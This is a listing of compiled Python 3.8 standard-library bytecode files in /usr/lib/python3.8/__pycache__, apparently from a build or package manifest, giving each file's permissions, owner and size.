+-rw-r--r-- root root 3212 ./usr/lib/python3.8/__pycache__/abc.cpython-38.opt-2.pyc
+-rw-r--r-- root root 5334 ./usr/lib/python3.8/__pycache__/abc.cpython-38.pyc
+-rw-r--r-- root root 62128 ./usr/lib/python3.8/__pycache__/argparse.cpython-38.opt-1.pyc
+-rw-r--r-- root root 52887 ./usr/lib/python3.8/__pycache__/argparse.cpython-38.opt-2.pyc
+-rw-r--r-- root root 62277 ./usr/lib/python3.8/__pycache__/argparse.cpython-38.pyc
+-rw-r--r-- root root 16485 ./usr/lib/python3.8/__pycache__/ast.cpython-38.opt-1.pyc
+-rw-r--r-- root root 10094 ./usr/lib/python3.8/__pycache__/ast.cpython-38.opt-2.pyc
+-rw-r--r-- root root 16520 ./usr/lib/python3.8/__pycache__/ast.cpython-38.pyc
+-rw-r--r-- root root 16908 ./usr/lib/python3.8/__pycache__/base64.cpython-38.opt-1.pyc
+-rw-r--r-- root root 11324 ./usr/lib/python3.8/__pycache__/base64.cpython-38.opt-2.pyc
+-rw-r--r-- root root 17071 ./usr/lib/python3.8/__pycache__/base64.cpython-38.pyc
+-rw-r--r-- root root 2354 ./usr/lib/python3.8/__pycache__/bisect.cpython-38.opt-1.pyc
+-rw-r--r-- root root 1042 ./usr/lib/python3.8/__pycache__/bisect.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2354 ./usr/lib/python3.8/__pycache__/bisect.cpython-38.pyc
+-rw-r--r-- root root 1217 ./usr/lib/python3.8/__pycache__/_bootlocale.cpython-38.opt-1.pyc
+-rw-r--r-- root root 992 ./usr/lib/python3.8/__pycache__/_bootlocale.cpython-38.opt-2.pyc
+-rw-r--r-- root root 1243 ./usr/lib/python3.8/__pycache__/_bootlocale.cpython-38.pyc
+-rw-r--r-- root root 11445 ./usr/lib/python3.8/__pycache__/bz2.cpython-38.opt-1.pyc
+-rw-r--r-- root root 6387 ./usr/lib/python3.8/__pycache__/bz2.cpython-38.opt-2.pyc
+-rw-r--r-- root root 11445 ./usr/lib/python3.8/__pycache__/bz2.cpython-38.pyc
+-rw-r--r-- root root 27064 ./usr/lib/python3.8/__pycache__/calendar.cpython-38.opt-1.pyc
+-rw-r--r-- root root 22472 ./usr/lib/python3.8/__pycache__/calendar.cpython-38.opt-2.pyc
+-rw-r--r-- root root 27064 ./usr/lib/python3.8/__pycache__/calendar.cpython-38.pyc
+-rw-r--r-- root root 12626 ./usr/lib/python3.8/__pycache__/cmd.cpython-38.opt-1.pyc
+-rw-r--r-- root root 7201 ./usr/lib/python3.8/__pycache__/cmd.cpython-38.opt-2.pyc
+-rw-r--r-- root root 12626 ./usr/lib/python3.8/__pycache__/cmd.cpython-38.pyc
+-rw-r--r-- root root 9913 ./usr/lib/python3.8/__pycache__/code.cpython-38.opt-1.pyc
+-rw-r--r-- root root 4642 ./usr/lib/python3.8/__pycache__/code.cpython-38.opt-2.pyc
+-rw-r--r-- root root 9913 ./usr/lib/python3.8/__pycache__/code.cpython-38.pyc
+-rw-r--r-- root root 33956 ./usr/lib/python3.8/__pycache__/codecs.cpython-38.opt-1.pyc
+-rw-r--r-- root root 18390 ./usr/lib/python3.8/__pycache__/codecs.cpython-38.opt-2.pyc
+-rw-r--r-- root root 33956 ./usr/lib/python3.8/__pycache__/codecs.cpython-38.pyc
+-rw-r--r-- root root 6297 ./usr/lib/python3.8/__pycache__/codeop.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2259 ./usr/lib/python3.8/__pycache__/codeop.cpython-38.opt-2.pyc
+-rw-r--r-- root root 6297 ./usr/lib/python3.8/__pycache__/codeop.cpython-38.pyc
+-rw-r--r-- root root 28741 ./usr/lib/python3.8/__pycache__/_collections_abc.cpython-38.opt-1.pyc
+-rw-r--r-- root root 23682 ./usr/lib/python3.8/__pycache__/_collections_abc.cpython-38.opt-2.pyc
+-rw-r--r-- root root 28741 ./usr/lib/python3.8/__pycache__/_collections_abc.cpython-38.pyc
+-rw-r--r-- root root 5443 ./usr/lib/python3.8/__pycache__/_compat_pickle.cpython-38.opt-1.pyc
+-rw-r--r-- root root 5443 ./usr/lib/python3.8/__pycache__/_compat_pickle.cpython-38.opt-2.pyc
+-rw-r--r-- root root 5501 ./usr/lib/python3.8/__pycache__/_compat_pickle.cpython-38.pyc
+-rw-r--r-- root root 4146 ./usr/lib/python3.8/__pycache__/_compression.cpython-38.opt-1.pyc
+-rw-r--r-- root root 3932 ./usr/lib/python3.8/__pycache__/_compression.cpython-38.opt-2.pyc
+-rw-r--r-- root root 4146 ./usr/lib/python3.8/__pycache__/_compression.cpython-38.pyc
+-rw-r--r-- root root 45718 ./usr/lib/python3.8/__pycache__/configparser.cpython-38.opt-1.pyc
+-rw-r--r-- root root 30792 ./usr/lib/python3.8/__pycache__/configparser.cpython-38.opt-2.pyc
+-rw-r--r-- root root 45718 ./usr/lib/python3.8/__pycache__/configparser.cpython-38.pyc
+-rw-r--r-- root root 20176 ./usr/lib/python3.8/__pycache__/contextlib.cpython-38.opt-1.pyc
+-rw-r--r-- root root 14596 ./usr/lib/python3.8/__pycache__/contextlib.cpython-38.opt-2.pyc
+-rw-r--r-- root root 20229 ./usr/lib/python3.8/__pycache__/contextlib.cpython-38.pyc
+-rw-r--r-- root root 6987 ./usr/lib/python3.8/__pycache__/copy.cpython-38.opt-1.pyc
+-rw-r--r-- root root 4673 ./usr/lib/python3.8/__pycache__/copy.cpython-38.opt-2.pyc
+-rw-r--r-- root root 6987 ./usr/lib/python3.8/__pycache__/copy.cpython-38.pyc
+-rw-r--r-- root root 4283 ./usr/lib/python3.8/__pycache__/copyreg.cpython-38.opt-1.pyc
+-rw-r--r-- root root 3481 ./usr/lib/python3.8/__pycache__/copyreg.cpython-38.opt-2.pyc
+-rw-r--r-- root root 4318 ./usr/lib/python3.8/__pycache__/copyreg.cpython-38.pyc
+-rw-r--r-- root root 3387 ./usr/lib/python3.8/__pycache__/crypt.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2725 ./usr/lib/python3.8/__pycache__/crypt.cpython-38.opt-2.pyc
+-rw-r--r-- root root 3387 ./usr/lib/python3.8/__pycache__/crypt.cpython-38.pyc
+-rw-r--r-- root root 11910 ./usr/lib/python3.8/__pycache__/csv.cpython-38.opt-1.pyc
+-rw-r--r-- root root 9871 ./usr/lib/python3.8/__pycache__/csv.cpython-38.opt-2.pyc
+-rw-r--r-- root root 11910 ./usr/lib/python3.8/__pycache__/csv.cpython-38.pyc
+-rw-r--r-- root root 55741 ./usr/lib/python3.8/__pycache__/datetime.cpython-38.opt-1.pyc
+-rw-r--r-- root root 47501 ./usr/lib/python3.8/__pycache__/datetime.cpython-38.opt-2.pyc
+-rw-r--r-- root root 56978 ./usr/lib/python3.8/__pycache__/datetime.cpython-38.pyc
+-rw-r--r-- root root 15802 ./usr/lib/python3.8/__pycache__/dis.cpython-38.opt-1.pyc
+-rw-r--r-- root root 11995 ./usr/lib/python3.8/__pycache__/dis.cpython-38.opt-2.pyc
+-rw-r--r-- root root 15802 ./usr/lib/python3.8/__pycache__/dis.cpython-38.pyc
+-rw-r--r-- root root 6037 ./usr/lib/python3.8/__pycache__/_dummy_thread.cpython-38.opt-1.pyc
+-rw-r--r-- root root 3392 ./usr/lib/python3.8/__pycache__/_dummy_thread.cpython-38.opt-2.pyc
+-rw-r--r-- root root 6037 ./usr/lib/python3.8/__pycache__/_dummy_thread.cpython-38.pyc
+-rw-r--r-- root root 24399 ./usr/lib/python3.8/__pycache__/enum.cpython-38.opt-1.pyc
+-rw-r--r-- root root 20110 ./usr/lib/python3.8/__pycache__/enum.cpython-38.opt-2.pyc
+-rw-r--r-- root root 24399 ./usr/lib/python3.8/__pycache__/enum.cpython-38.pyc
+-rw-r--r-- root root 3332 ./usr/lib/python3.8/__pycache__/fnmatch.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2147 ./usr/lib/python3.8/__pycache__/fnmatch.cpython-38.opt-2.pyc
+-rw-r--r-- root root 3332 ./usr/lib/python3.8/__pycache__/fnmatch.cpython-38.pyc
+-rw-r--r-- root root 27849 ./usr/lib/python3.8/__pycache__/ftplib.cpython-38.opt-1.pyc
+-rw-r--r-- root root 18116 ./usr/lib/python3.8/__pycache__/ftplib.cpython-38.opt-2.pyc
+-rw-r--r-- root root 27849 ./usr/lib/python3.8/__pycache__/ftplib.cpython-38.pyc
+-rw-r--r-- root root 27901 ./usr/lib/python3.8/__pycache__/functools.cpython-38.opt-1.pyc
+-rw-r--r-- root root 21248 ./usr/lib/python3.8/__pycache__/functools.cpython-38.opt-2.pyc
+-rw-r--r-- root root 27901 ./usr/lib/python3.8/__pycache__/functools.cpython-38.pyc
+-rw-r--r-- root root 4131 ./usr/lib/python3.8/__pycache__/__future__.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2159 ./usr/lib/python3.8/__pycache__/__future__.cpython-38.opt-2.pyc
+-rw-r--r-- root root 4131 ./usr/lib/python3.8/__pycache__/__future__.cpython-38.pyc
+-rw-r--r-- root root 4001 ./usr/lib/python3.8/__pycache__/genericpath.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2865 ./usr/lib/python3.8/__pycache__/genericpath.cpython-38.opt-2.pyc
+-rw-r--r-- root root 4001 ./usr/lib/python3.8/__pycache__/genericpath.cpython-38.pyc
+-rw-r--r-- root root 6237 ./usr/lib/python3.8/__pycache__/getopt.cpython-38.opt-1.pyc
+-rw-r--r-- root root 3683 ./usr/lib/python3.8/__pycache__/getopt.cpython-38.opt-2.pyc
+-rw-r--r-- root root 6271 ./usr/lib/python3.8/__pycache__/getopt.cpython-38.pyc
+-rw-r--r-- root root 17883 ./usr/lib/python3.8/__pycache__/gettext.cpython-38.opt-1.pyc
+-rw-r--r-- root root 17192 ./usr/lib/python3.8/__pycache__/gettext.cpython-38.opt-2.pyc
+-rw-r--r-- root root 17883 ./usr/lib/python3.8/__pycache__/gettext.cpython-38.pyc
+-rw-r--r-- root root 4278 ./usr/lib/python3.8/__pycache__/glob.cpython-38.opt-1.pyc
+-rw-r--r-- root root 3418 ./usr/lib/python3.8/__pycache__/glob.cpython-38.opt-2.pyc
+-rw-r--r-- root root 4343 ./usr/lib/python3.8/__pycache__/glob.cpython-38.pyc
+-rw-r--r-- root root 18191 ./usr/lib/python3.8/__pycache__/gzip.cpython-38.opt-1.pyc
+-rw-r--r-- root root 14323 ./usr/lib/python3.8/__pycache__/gzip.cpython-38.opt-2.pyc
+-rw-r--r-- root root 18191 ./usr/lib/python3.8/__pycache__/gzip.cpython-38.pyc
+-rw-r--r-- root root 6727 ./usr/lib/python3.8/__pycache__/hashlib.cpython-38.opt-1.pyc
+-rw-r--r-- root root 6159 ./usr/lib/python3.8/__pycache__/hashlib.cpython-38.opt-2.pyc
+-rw-r--r-- root root 6727 ./usr/lib/python3.8/__pycache__/hashlib.cpython-38.pyc
+-rw-r--r-- root root 14070 ./usr/lib/python3.8/__pycache__/heapq.cpython-38.opt-1.pyc
+-rw-r--r-- root root 11054 ./usr/lib/python3.8/__pycache__/heapq.cpython-38.opt-2.pyc
+-rw-r--r-- root root 14070 ./usr/lib/python3.8/__pycache__/heapq.cpython-38.pyc
+-rw-r--r-- root root 6388 ./usr/lib/python3.8/__pycache__/hmac.cpython-38.opt-1.pyc
+-rw-r--r-- root root 3871 ./usr/lib/python3.8/__pycache__/hmac.cpython-38.opt-2.pyc
+-rw-r--r-- root root 6388 ./usr/lib/python3.8/__pycache__/hmac.cpython-38.pyc
+-rw-r--r-- root root 39159 ./usr/lib/python3.8/__pycache__/imaplib.cpython-38.opt-1.pyc
+-rw-r--r-- root root 27182 ./usr/lib/python3.8/__pycache__/imaplib.cpython-38.opt-2.pyc
+-rw-r--r-- root root 41342 ./usr/lib/python3.8/__pycache__/imaplib.cpython-38.pyc
+-rw-r--r-- root root 9809 ./usr/lib/python3.8/__pycache__/imp.cpython-38.opt-1.pyc
+-rw-r--r-- root root 7444 ./usr/lib/python3.8/__pycache__/imp.cpython-38.opt-2.pyc
+-rw-r--r-- root root 9809 ./usr/lib/python3.8/__pycache__/imp.cpython-38.pyc
+-rw-r--r-- root root 80098 ./usr/lib/python3.8/__pycache__/inspect.cpython-38.opt-1.pyc
+-rw-r--r-- root root 54985 ./usr/lib/python3.8/__pycache__/inspect.cpython-38.opt-2.pyc
+-rw-r--r-- root root 80383 ./usr/lib/python3.8/__pycache__/inspect.cpython-38.pyc
+-rw-r--r-- root root 3454 ./usr/lib/python3.8/__pycache__/io.cpython-38.opt-1.pyc
+-rw-r--r-- root root 1965 ./usr/lib/python3.8/__pycache__/io.cpython-38.opt-2.pyc
+-rw-r--r-- root root 3454 ./usr/lib/python3.8/__pycache__/io.cpython-38.pyc
+-rw-r--r-- root root 59559 ./usr/lib/python3.8/__pycache__/ipaddress.cpython-38.opt-1.pyc
+-rw-r--r-- root root 35711 ./usr/lib/python3.8/__pycache__/ipaddress.cpython-38.opt-2.pyc
+-rw-r--r-- root root 59559 ./usr/lib/python3.8/__pycache__/ipaddress.cpython-38.pyc
+-rw-r--r-- root root 998 ./usr/lib/python3.8/__pycache__/keyword.cpython-38.opt-1.pyc
+-rw-r--r-- root root 571 ./usr/lib/python3.8/__pycache__/keyword.cpython-38.opt-2.pyc
+-rw-r--r-- root root 998 ./usr/lib/python3.8/__pycache__/keyword.cpython-38.pyc
+-rw-r--r-- root root 3839 ./usr/lib/python3.8/__pycache__/linecache.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2734 ./usr/lib/python3.8/__pycache__/linecache.cpython-38.opt-2.pyc
+-rw-r--r-- root root 3839 ./usr/lib/python3.8/__pycache__/linecache.cpython-38.pyc
+-rw-r--r-- root root 34689 ./usr/lib/python3.8/__pycache__/locale.cpython-38.opt-1.pyc
+-rw-r--r-- root root 30074 ./usr/lib/python3.8/__pycache__/locale.cpython-38.opt-2.pyc
+-rw-r--r-- root root 34689 ./usr/lib/python3.8/__pycache__/locale.cpython-38.pyc
+-rw-r--r-- root root 12018 ./usr/lib/python3.8/__pycache__/lzma.cpython-38.opt-1.pyc
+-rw-r--r-- root root 5849 ./usr/lib/python3.8/__pycache__/lzma.cpython-38.opt-2.pyc
+-rw-r--r-- root root 12018 ./usr/lib/python3.8/__pycache__/lzma.cpython-38.pyc
+-rw-r--r-- root root 7618 ./usr/lib/python3.8/__pycache__/_markupbase.cpython-38.opt-1.pyc
+-rw-r--r-- root root 7240 ./usr/lib/python3.8/__pycache__/_markupbase.cpython-38.opt-2.pyc
+-rw-r--r-- root root 7790 ./usr/lib/python3.8/__pycache__/_markupbase.cpython-38.pyc
+-rw-r--r-- root root 15988 ./usr/lib/python3.8/__pycache__/mimetypes.cpython-38.opt-1.pyc
+-rw-r--r-- root root 9973 ./usr/lib/python3.8/__pycache__/mimetypes.cpython-38.opt-2.pyc
+-rw-r--r-- root root 15988 ./usr/lib/python3.8/__pycache__/mimetypes.cpython-38.pyc
+-rw-r--r-- root root 33974 ./usr/lib/python3.8/__pycache__/nntplib.cpython-38.opt-1.pyc
+-rw-r--r-- root root 21464 ./usr/lib/python3.8/__pycache__/nntplib.cpython-38.opt-2.pyc
+-rw-r--r-- root root 33974 ./usr/lib/python3.8/__pycache__/nntplib.cpython-38.pyc
+-rw-r--r-- root root 14657 ./usr/lib/python3.8/__pycache__/ntpath.cpython-38.opt-1.pyc
+-rw-r--r-- root root 12606 ./usr/lib/python3.8/__pycache__/ntpath.cpython-38.opt-2.pyc
+-rw-r--r-- root root 14657 ./usr/lib/python3.8/__pycache__/ntpath.cpython-38.pyc
+-rw-r--r-- root root 5420 ./usr/lib/python3.8/__pycache__/opcode.cpython-38.opt-1.pyc
+-rw-r--r-- root root 5280 ./usr/lib/python3.8/__pycache__/opcode.cpython-38.opt-2.pyc
+-rw-r--r-- root root 5420 ./usr/lib/python3.8/__pycache__/opcode.cpython-38.pyc
+-rw-r--r-- root root 13691 ./usr/lib/python3.8/__pycache__/operator.cpython-38.opt-1.pyc
+-rw-r--r-- root root 11322 ./usr/lib/python3.8/__pycache__/operator.cpython-38.opt-2.pyc
+-rw-r--r-- root root 13691 ./usr/lib/python3.8/__pycache__/operator.cpython-38.pyc
+-rw-r--r-- root root 47974 ./usr/lib/python3.8/__pycache__/optparse.cpython-38.opt-1.pyc
+-rw-r--r-- root root 35659 ./usr/lib/python3.8/__pycache__/optparse.cpython-38.opt-2.pyc
+-rw-r--r-- root root 48057 ./usr/lib/python3.8/__pycache__/optparse.cpython-38.pyc
+-rw-r--r-- root root 31365 ./usr/lib/python3.8/__pycache__/os.cpython-38.opt-1.pyc
+-rw-r--r-- root root 19174 ./usr/lib/python3.8/__pycache__/os.cpython-38.opt-2.pyc
+-rw-r--r-- root root 31397 ./usr/lib/python3.8/__pycache__/os.cpython-38.pyc
+-rw-r--r-- root root 43552 ./usr/lib/python3.8/__pycache__/pathlib.cpython-38.opt-1.pyc
+-rw-r--r-- root root 35495 ./usr/lib/python3.8/__pycache__/pathlib.cpython-38.opt-2.pyc
+-rw-r--r-- root root 43552 ./usr/lib/python3.8/__pycache__/pathlib.cpython-38.pyc
+-rw-r--r-- root root 46761 ./usr/lib/python3.8/__pycache__/pickle.cpython-38.opt-1.pyc
+-rw-r--r-- root root 40889 ./usr/lib/python3.8/__pycache__/pickle.cpython-38.opt-2.pyc
+-rw-r--r-- root root 46878 ./usr/lib/python3.8/__pycache__/pickle.cpython-38.pyc
+-rw-r--r-- root root 66314 ./usr/lib/python3.8/__pycache__/pickletools.cpython-38.opt-1.pyc
+-rw-r--r-- root root 57221 ./usr/lib/python3.8/__pycache__/pickletools.cpython-38.opt-2.pyc
+-rw-r--r-- root root 67204 ./usr/lib/python3.8/__pycache__/pickletools.cpython-38.pyc
+-rw-r--r-- root root 7795 ./usr/lib/python3.8/__pycache__/pipes.cpython-38.opt-1.pyc
+-rw-r--r-- root root 4928 ./usr/lib/python3.8/__pycache__/pipes.cpython-38.opt-2.pyc
+-rw-r--r-- root root 7795 ./usr/lib/python3.8/__pycache__/pipes.cpython-38.pyc
+-rw-r--r-- root root 16309 ./usr/lib/python3.8/__pycache__/pkgutil.cpython-38.opt-1.pyc
+-rw-r--r-- root root 11053 ./usr/lib/python3.8/__pycache__/pkgutil.cpython-38.opt-2.pyc
+-rw-r--r-- root root 16309 ./usr/lib/python3.8/__pycache__/pkgutil.cpython-38.pyc
+-rw-r--r-- root root 24240 ./usr/lib/python3.8/__pycache__/platform.cpython-38.opt-1.pyc
+-rw-r--r-- root root 16364 ./usr/lib/python3.8/__pycache__/platform.cpython-38.opt-2.pyc
+-rw-r--r-- root root 24240 ./usr/lib/python3.8/__pycache__/platform.cpython-38.pyc
+-rw-r--r-- root root 13459 ./usr/lib/python3.8/__pycache__/poplib.cpython-38.opt-1.pyc
+-rw-r--r-- root root 8528 ./usr/lib/python3.8/__pycache__/poplib.cpython-38.opt-2.pyc
+-rw-r--r-- root root 13459 ./usr/lib/python3.8/__pycache__/poplib.cpython-38.pyc
+-rw-r--r-- root root 10428 ./usr/lib/python3.8/__pycache__/posixpath.cpython-38.opt-1.pyc
+-rw-r--r-- root root 8713 ./usr/lib/python3.8/__pycache__/posixpath.cpython-38.opt-2.pyc
+-rw-r--r-- root root 10428 ./usr/lib/python3.8/__pycache__/posixpath.cpython-38.pyc
+-rw-r--r-- root root 74059 ./usr/lib/python3.8/__pycache__/_pyio.cpython-38.opt-1.pyc
+-rw-r--r-- root root 51166 ./usr/lib/python3.8/__pycache__/_pyio.cpython-38.opt-2.pyc
+-rw-r--r-- root root 74079 ./usr/lib/python3.8/__pycache__/_pyio.cpython-38.pyc
+-rw-r--r-- root root 10626 ./usr/lib/python3.8/__pycache__/queue.cpython-38.opt-1.pyc
+-rw-r--r-- root root 6289 ./usr/lib/python3.8/__pycache__/queue.cpython-38.opt-2.pyc
+-rw-r--r-- root root 10626 ./usr/lib/python3.8/__pycache__/queue.cpython-38.pyc
+-rw-r--r-- root root 5573 ./usr/lib/python3.8/__pycache__/quopri.cpython-38.opt-1.pyc
+-rw-r--r-- root root 4537 ./usr/lib/python3.8/__pycache__/quopri.cpython-38.opt-2.pyc
+-rw-r--r-- root root 5748 ./usr/lib/python3.8/__pycache__/quopri.cpython-38.pyc
+-rw-r--r-- root root 20108 ./usr/lib/python3.8/__pycache__/random.cpython-38.opt-1.pyc
+-rw-r--r-- root root 13132 ./usr/lib/python3.8/__pycache__/random.cpython-38.opt-2.pyc
+-rw-r--r-- root root 20108 ./usr/lib/python3.8/__pycache__/random.cpython-38.pyc
+-rw-r--r-- root root 14422 ./usr/lib/python3.8/__pycache__/re.cpython-38.opt-1.pyc
+-rw-r--r-- root root 6084 ./usr/lib/python3.8/__pycache__/re.cpython-38.opt-2.pyc
+-rw-r--r-- root root 14422 ./usr/lib/python3.8/__pycache__/re.cpython-38.pyc
+-rw-r--r-- root root 5303 ./usr/lib/python3.8/__pycache__/reprlib.cpython-38.opt-1.pyc
+-rw-r--r-- root root 5147 ./usr/lib/python3.8/__pycache__/reprlib.cpython-38.opt-2.pyc
+-rw-r--r-- root root 5303 ./usr/lib/python3.8/__pycache__/reprlib.cpython-38.pyc
+-rw-r--r-- root root 5755 ./usr/lib/python3.8/__pycache__/rlcompleter.cpython-38.opt-1.pyc
+-rw-r--r-- root root 3092 ./usr/lib/python3.8/__pycache__/rlcompleter.cpython-38.opt-2.pyc
+-rw-r--r-- root root 5755 ./usr/lib/python3.8/__pycache__/rlcompleter.cpython-38.pyc
+-rw-r--r-- root root 8181 ./usr/lib/python3.8/__pycache__/runpy.cpython-38.opt-1.pyc
+-rw-r--r-- root root 6615 ./usr/lib/python3.8/__pycache__/runpy.cpython-38.opt-2.pyc
+-rw-r--r-- root root 8181 ./usr/lib/python3.8/__pycache__/runpy.cpython-38.pyc
+-rw-r--r-- root root 16935 ./usr/lib/python3.8/__pycache__/selectors.cpython-38.opt-1.pyc
+-rw-r--r-- root root 12900 ./usr/lib/python3.8/__pycache__/selectors.cpython-38.opt-2.pyc
+-rw-r--r-- root root 16935 ./usr/lib/python3.8/__pycache__/selectors.cpython-38.pyc
+-rw-r--r-- root root 9490 ./usr/lib/python3.8/__pycache__/shelve.cpython-38.opt-1.pyc
+-rw-r--r-- root root 5339 ./usr/lib/python3.8/__pycache__/shelve.cpython-38.opt-2.pyc
+-rw-r--r-- root root 9490 ./usr/lib/python3.8/__pycache__/shelve.cpython-38.pyc
+-rw-r--r-- root root 7536 ./usr/lib/python3.8/__pycache__/shlex.cpython-38.opt-1.pyc
+-rw-r--r-- root root 6979 ./usr/lib/python3.8/__pycache__/shlex.cpython-38.opt-2.pyc
+-rw-r--r-- root root 7536 ./usr/lib/python3.8/__pycache__/shlex.cpython-38.pyc
+-rw-r--r-- root root 36569 ./usr/lib/python3.8/__pycache__/shutil.cpython-38.opt-1.pyc
+-rw-r--r-- root root 25114 ./usr/lib/python3.8/__pycache__/shutil.cpython-38.opt-2.pyc
+-rw-r--r-- root root 36569 ./usr/lib/python3.8/__pycache__/shutil.cpython-38.pyc
+-rw-r--r-- root root 2843 ./usr/lib/python3.8/__pycache__/signal.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2619 ./usr/lib/python3.8/__pycache__/signal.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2843 ./usr/lib/python3.8/__pycache__/signal.cpython-38.pyc
+-rw-r--r-- root root 3481 ./usr/lib/python3.8/__pycache__/_sitebuiltins.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2957 ./usr/lib/python3.8/__pycache__/_sitebuiltins.cpython-38.opt-2.pyc
+-rw-r--r-- root root 3481 ./usr/lib/python3.8/__pycache__/_sitebuiltins.cpython-38.pyc
+-rw-r--r-- root root 16700 ./usr/lib/python3.8/__pycache__/site.cpython-38.opt-1.pyc
+-rw-r--r-- root root 11164 ./usr/lib/python3.8/__pycache__/site.cpython-38.opt-2.pyc
+-rw-r--r-- root root 16700 ./usr/lib/python3.8/__pycache__/site.cpython-38.pyc
+-rw-r--r-- root root 35252 ./usr/lib/python3.8/__pycache__/smtplib.cpython-38.opt-1.pyc
+-rw-r--r-- root root 18892 ./usr/lib/python3.8/__pycache__/smtplib.cpython-38.opt-2.pyc
+-rw-r--r-- root root 35313 ./usr/lib/python3.8/__pycache__/smtplib.cpython-38.pyc
+-rw-r--r-- root root 27747 ./usr/lib/python3.8/__pycache__/socket.cpython-38.opt-1.pyc
+-rw-r--r-- root root 19424 ./usr/lib/python3.8/__pycache__/socket.cpython-38.opt-2.pyc
+-rw-r--r-- root root 27787 ./usr/lib/python3.8/__pycache__/socket.cpython-38.pyc
+-rw-r--r-- root root 14916 ./usr/lib/python3.8/__pycache__/sre_compile.cpython-38.opt-1.pyc
+-rw-r--r-- root root 14502 ./usr/lib/python3.8/__pycache__/sre_compile.cpython-38.opt-2.pyc
+-rw-r--r-- root root 15142 ./usr/lib/python3.8/__pycache__/sre_compile.cpython-38.pyc
+-rw-r--r-- root root 6359 ./usr/lib/python3.8/__pycache__/sre_constants.cpython-38.opt-1.pyc
+-rw-r--r-- root root 5934 ./usr/lib/python3.8/__pycache__/sre_constants.cpython-38.opt-2.pyc
+-rw-r--r-- root root 6359 ./usr/lib/python3.8/__pycache__/sre_constants.cpython-38.pyc
+-rw-r--r-- root root 21600 ./usr/lib/python3.8/__pycache__/sre_parse.cpython-38.opt-1.pyc
+-rw-r--r-- root root 21552 ./usr/lib/python3.8/__pycache__/sre_parse.cpython-38.opt-2.pyc
+-rw-r--r-- root root 21647 ./usr/lib/python3.8/__pycache__/sre_parse.cpython-38.pyc
+-rw-r--r-- root root 44596 ./usr/lib/python3.8/__pycache__/ssl.cpython-38.opt-1.pyc
+-rw-r--r-- root root 33618 ./usr/lib/python3.8/__pycache__/ssl.cpython-38.opt-2.pyc
+-rw-r--r-- root root 44596 ./usr/lib/python3.8/__pycache__/ssl.cpython-38.pyc
+-rw-r--r-- root root 4372 ./usr/lib/python3.8/__pycache__/stat.cpython-38.opt-1.pyc
+-rw-r--r-- root root 3589 ./usr/lib/python3.8/__pycache__/stat.cpython-38.opt-2.pyc
+-rw-r--r-- root root 4372 ./usr/lib/python3.8/__pycache__/stat.cpython-38.pyc
+-rw-r--r-- root root 7300 ./usr/lib/python3.8/__pycache__/string.cpython-38.opt-1.pyc
+-rw-r--r-- root root 6194 ./usr/lib/python3.8/__pycache__/string.cpython-38.opt-2.pyc
+-rw-r--r-- root root 7300 ./usr/lib/python3.8/__pycache__/string.cpython-38.pyc
+-rw-r--r-- root root 10959 ./usr/lib/python3.8/__pycache__/stringprep.cpython-38.opt-1.pyc
+-rw-r--r-- root root 10739 ./usr/lib/python3.8/__pycache__/stringprep.cpython-38.opt-2.pyc
+-rw-r--r-- root root 11017 ./usr/lib/python3.8/__pycache__/stringprep.cpython-38.pyc
+-rw-r--r-- root root 16044 ./usr/lib/python3.8/__pycache__/_strptime.cpython-38.opt-1.pyc
+-rw-r--r-- root root 12316 ./usr/lib/python3.8/__pycache__/_strptime.cpython-38.opt-2.pyc
+-rw-r--r-- root root 16044 ./usr/lib/python3.8/__pycache__/_strptime.cpython-38.pyc
+-rw-r--r-- root root 330 ./usr/lib/python3.8/__pycache__/struct.cpython-38.opt-1.pyc
+-rw-r--r-- root root 330 ./usr/lib/python3.8/__pycache__/struct.cpython-38.opt-2.pyc
+-rw-r--r-- root root 330 ./usr/lib/python3.8/__pycache__/struct.cpython-38.pyc
+-rw-r--r-- root root 41843 ./usr/lib/python3.8/__pycache__/subprocess.cpython-38.opt-1.pyc
+-rw-r--r-- root root 29913 ./usr/lib/python3.8/__pycache__/subprocess.cpython-38.opt-2.pyc
+-rw-r--r-- root root 41940 ./usr/lib/python3.8/__pycache__/subprocess.cpython-38.pyc
+-rw-r--r-- root root 2404 ./usr/lib/python3.8/__pycache__/symbol.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2328 ./usr/lib/python3.8/__pycache__/symbol.cpython-38.opt-2.pyc
+-rw-r--r-- root root 2404 ./usr/lib/python3.8/__pycache__/symbol.cpython-38.pyc
+-rw-r--r-- root root 15462 ./usr/lib/python3.8/__pycache__/sysconfig.cpython-38.opt-1.pyc
+-rw-r--r-- root root 13084 ./usr/lib/python3.8/__pycache__/sysconfig.cpython-38.opt-2.pyc
+-rw-r--r-- root root 15462 ./usr/lib/python3.8/__pycache__/sysconfig.cpython-38.pyc
+-rw-r--r-- root root 62519 ./usr/lib/python3.8/__pycache__/tarfile.cpython-38.opt-1.pyc
+-rw-r--r-- root root 48629 ./usr/lib/python3.8/__pycache__/tarfile.cpython-38.opt-2.pyc
+-rw-r--r-- root root 62550 ./usr/lib/python3.8/__pycache__/tarfile.cpython-38.pyc
+-rw-r--r-- root root 18237 ./usr/lib/python3.8/__pycache__/telnetlib.cpython-38.opt-1.pyc
+-rw-r--r-- root root 10735 ./usr/lib/python3.8/__pycache__/telnetlib.cpython-38.opt-2.pyc
+-rw-r--r-- root root 18237 ./usr/lib/python3.8/__pycache__/telnetlib.cpython-38.pyc
+-rw-r--r-- root root 23455 ./usr/lib/python3.8/__pycache__/tempfile.cpython-38.opt-1.pyc
+-rw-r--r-- root root 16871 ./usr/lib/python3.8/__pycache__/tempfile.cpython-38.opt-2.pyc
+-rw-r--r-- root root 23455 ./usr/lib/python3.8/__pycache__/tempfile.cpython-38.pyc
+-rw-r--r-- root root 13445 ./usr/lib/python3.8/__pycache__/textwrap.cpython-38.opt-1.pyc
+-rw-r--r-- root root 6236 ./usr/lib/python3.8/__pycache__/textwrap.cpython-38.opt-2.pyc
+-rw-r--r-- root root 13519 ./usr/lib/python3.8/__pycache__/textwrap.cpython-38.pyc
+-rw-r--r-- root root 39425 ./usr/lib/python3.8/__pycache__/threading.cpython-38.opt-1.pyc
